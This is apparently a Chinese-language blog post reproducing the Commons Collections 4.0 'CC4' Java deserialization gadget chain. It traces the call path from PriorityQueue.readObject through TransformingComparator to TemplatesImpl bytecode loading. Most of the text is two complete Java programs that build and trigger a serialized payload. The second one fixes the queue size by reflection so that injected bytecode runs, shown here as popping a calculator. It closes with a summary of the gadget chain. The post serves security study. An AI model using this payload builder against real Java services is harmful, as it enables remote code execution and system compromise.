java 反序列化 cc4 复现
复现环境:jdk<=8u65,commonsCollections=4.0
CommonsCollections4.x版本移除了InvokerTransformer
类不再继承Serializable
,导致无法序列化.但是提供了TransformingComparator
为CommonsCollections3.x所没有的,又带来了新的反序列化危险.
cc4的执行命令部分依然沿用cc3的TemplatesImpl
,而是对ChainedTransfromer
后面的部分进行了修改,需要找一个新的出口去触发transform方法.
出口链子分析
发现TransformingComparator.compare
能够触发transform
方法
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
查找引用
一般来说,反序列化的出口一般是集合类或是能够容纳Object对象且继承自Serializable类的.这里是出现在了PriorityQueue
类.
PriorityQueue
看这个siftDownUsingComparator
方法:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
可以看到调用了comparator
的compare
方法.而siftDownUsingComparator
在siftDown
中被调用.
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
查找一下comparator
的定义如下
private final Comparator<? super E> comparator;
然而这个siftDown
还是私有方法,也没被readObject
调用,依然要往上找.
找到了heapify
方法
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
这个方法被readObject调用了
看到这个readObject
的逻辑较为简单,比较欣慰
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
因此我们写出一个利用脚本.
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers = {ct, it};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue pq = new PriorityQueue<>(transformingComparator);
serial(pq);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
然而跑起来没有弹计算器.断点调试一下,发现下面的问题.在这里要求i>=0
才能进入循环,然而此处(size >>> 1) - 1
的值为-1,无法触发siftDown.
size至少为2才行,使用反射修改size,成功弹出计算器
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
TemplatesImpl templatesimpl = new TemplatesImpl();
Class<?> clazz = templatesimpl.getClass();
Field field = clazz.getDeclaredField("_name");
field.setAccessible(true);
field.set(templatesimpl, "test");
Field field2 = clazz.getDeclaredField("_bytecodes");
field2.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("F:\\idea_workspace\\cc3\\target\\classes\\org\\example\\test.class"));
byte[][] codes = {code};
field2.set(templatesimpl, codes);
Field field3 = clazz.getDeclaredField("_tfactory");
field3.setAccessible(true);
field3.set(templatesimpl, new TransformerFactoryImpl());
ConstantTransformer ct = new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer it = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesimpl});
Transformer[] transformers = {ct, it};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue pq = new PriorityQueue<>(transformingComparator);
Class clazz1 = pq.getClass();
Field field1 = clazz1.getDeclaredField("size");
field1.setAccessible(true);
field1.set(pq, 2);
serial(pq);
unserial();
}
public static void serial(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
out.writeObject(obj);
}
public static void unserial() throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
in.readObject();
}
}
这里我看的教程因为是使用add去添加元素去赋值从而修改size,导致出现了一串问题.而我直接反射修改size就没有问题.
总结出反序列化链子如下
Gadget chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.defineClass()